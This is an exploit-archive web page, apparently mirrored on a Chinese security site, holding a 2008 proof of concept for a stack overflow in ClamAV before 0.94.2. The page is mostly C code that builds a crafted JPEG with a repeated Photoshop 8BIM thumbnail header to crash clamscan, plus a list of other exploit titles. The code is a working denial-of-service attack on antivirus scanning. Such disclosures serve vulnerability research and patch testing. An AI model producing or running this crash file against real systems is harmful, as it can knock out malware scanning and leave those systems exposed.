首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ClamAV < 0.94.2 (JPG File) Stack Overflow PoC
来源:www.vfcocus.net 作者:Hermansen 发布时间:2008-12-04  
const char crashstr[] = "\xff\xd8" // jpg marker
                        "\xff\xed" // exif data
                        "\x00\x02" // length
                        "Photoshop 3.0\x00"
                        "8BIM"
                        "\x04\x0c" // thumbnail id 
                        "\x00"
                        "\x01"
                        "\x01\x01\x01\x01"
                        "0123456789012345678912345678"; // skip over 28 bytes

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define NR_ITER 200000

int main() {
        FILE *fp;
        int i;
        fp = fopen("clamav-jpeg-crash.jpg", "w+");
        if (!fp) {
                printf("can't open/create file\n");
                exit(0);
        }
        for (i = 0; i < NR_ITER; i++) {
                fwrite(crashstr, sizeof(crashstr)-1/*don't want 0-byte ?*/, 1,
fp);
        }
        fclose(fp);
        printf("done, now run clamscan on ./clamav-jpeg-crash.jpg\n");
        exit(0);
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cain & Abel 4.9.23 (rdp file)
·Joomla Component com_jmovies 1
·Check New 4.52 (findoffice.php
·RadAsm <= 2.2.1.4 (.RAP File)
·CPanel version 11.x privilege
·ccTiddly 1.7.4 (cct_base) Mult
·serv-u7 local exp (php)
·CMS MAXSITE Component Guestboo
·EiD <= 0.92 Malformed PE File
·NULL FTP Server 1.1.0.7 SITE P
·Visagesoft eXPert PDF EditorX
·bcoos 1.0.13 (viewcat.php cid)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved